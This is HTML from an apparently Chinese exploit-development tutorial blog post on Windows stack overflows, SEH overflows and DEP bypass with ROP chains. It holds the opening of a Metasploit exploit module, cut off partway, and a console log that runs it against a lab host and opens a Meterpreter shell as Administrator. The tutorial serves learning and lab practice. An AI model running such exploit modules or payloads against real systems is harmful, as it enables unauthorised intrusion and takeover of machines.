< h2 id = "自动化攻击-2" > < a href = "#自动化攻击-2" class = "headerlink" title = "自动化攻击" > < / a > 自动化攻击< / h2 > < figure class = "highlight ruby" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "keyword" > require< / span > < span class = "string" > 'msf/core'< / span > < / span > < br > < span class = "line" > < span class = "class" > < span class = "keyword" > class< / span > < span class = "title" > Metasploit3< / span > < Msf::Exploit::< span class = "title" > Remote< / span > < / span > < / span > < br > < span class = "line" > Rank = NormalRanking< / span > < br > < span class = "line" > < span class = "keyword" > include< / span > Msf::Exploit::Remote::Tcp< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > < span class = "function" > < span class = "keyword" > def< / span > < span class = "title" > initialize< / span > < span class = "params" > (info = { } )< / span > < / span > < / span > < br > < span class = "line" > < span class = "keyword" > super< / span > (update_info(info,< / span > < br > < span class = "line" > < span class = "string" > 'Name'< / span > => < span class = "string" > 'DEP Bypass Exploit'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Description'< / span > => < span class = "string" > %q{ < / span > < / span > < br > < span class = "line" > < span class = "string" > DEP Bypass Using ROP Chains Example Module< / span > < / span > < br > < span class = "line" > < span class = "string" > } < / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Platform'< / span > => < span class = "string" > 'Windows'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Author'< / span > => < span class = "string" > 'yanhan'< / span > ,< / span > < br > < span class = "line" > < span class = "string" > 'Payload'< / span > => < / span > < br > < span class = "line" > { < / span > < br > < span class = "line" > < span class = "string" > 'space'< / span > => < s
2019-07-14 07:58:13 +00:00
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > msf5 > use exploit/windows/yanhan/rop_attack< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114< / span > < br > < span class = "line" > rhosts => 192.168.31.114< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/rop_attack) > set rport 1000< / span > < br > < span class = "line" > rport => 1000< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/rop_attack) > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started reverse TCP handler on 192.168.31.84:4444< / span > < br > < span class = "line" > [*] Exploit completed, but no session was created.< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp< / span > < br > < span class = "line" > payload => windows/meterpreter/bind_tcp< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/rop_attack) > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started bind TCP handler against 192.168.31.114:4444< / span > < br > < span class = "line" > [*] Exploit completed, but no session was created.< / span > < br > < span class = "line" > msf5 exploit(windows/yanhan/rop_attack) > exploit< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > [*] Started bind TCP handler against 192.168.31.114:4444< / span > < br > < span class = "line" > [*] Sending stage (179779 bytes) to 192.168.31.114< / span > < br > < span class = "line" > [*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > meterpreter > getuid< / span > < br > < span class = "line" > Server username: WHU-3E3EECEBFD1\Administrator< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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2019-07-14 07:58:13 +00:00
< div class = "post-toc-content" > < ol class = "nav" > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#0x00-漏洞利用开发简介" > < span class = "nav-text" > 0x00 漏洞利用开发简介< / span > < / a > < / li > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#0x01-简单栈溢出" > < span class = "nav-text" > 0x01 简单栈溢出< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#漏洞点" > < span class = "nav-text" > 漏洞点< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#关闭防御措施" > < span class = "nav-text" > 关闭防御措施< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#整体的攻击流程" > < span class = "nav-text" > 整体的攻击流程< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#确定溢出点的位置" > < span class = "nav-text" > 确定溢出点的位置< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#寻找jmp-esp跳板" > < span class = "nav-text" > 寻找jmp esp跳板< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#自动化攻击" > < span class = "nav-text" > 自动化攻击< / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#0x02-基于SEH的栈溢出" > < span class = "nav-text" > 0x02 基于SEH的栈溢出< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#确定溢出点的位置-1" > < span class = "nav-text" > 确定溢出点的位置< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#寻找PPR" > < span class = "nav-text" > 寻找PPR< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#自动化攻击-1" > < span class = "nav-text" > 自动化攻击< / span > < / a > < / li > < / ol > < / li > < li class = "nav-item nav-level-1" > < a class = "nav-link" href = "#0x03-绕过DEP" > < span class = "nav-text" > 0x03 绕过DEP< / span > < / a > < ol class = "nav-child" > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#设置DEP保护" > < span class = "nav-text" > 设置DEP保护< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#计算偏移量" > < span class = "nav-text" > 计算偏移量< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#创建ROP链" > < span class = "nav-text" > 创建ROP链< / span > < / a > < / li > < li class = "nav-item nav-level-2" > < a class = "nav-link" href = "#自动化攻击-2" > < span class = "nav-text" > 自动化攻击< / span > < / a > < / li > < / ol > < / li > < / ol > < / div >
2019-07-10 09:03:44 +00:00
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2019-07-27 06:42:04 +00:00
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2019-07-10 09:03:44 +00:00
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proceedsearch();
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proceedsearch();
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var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
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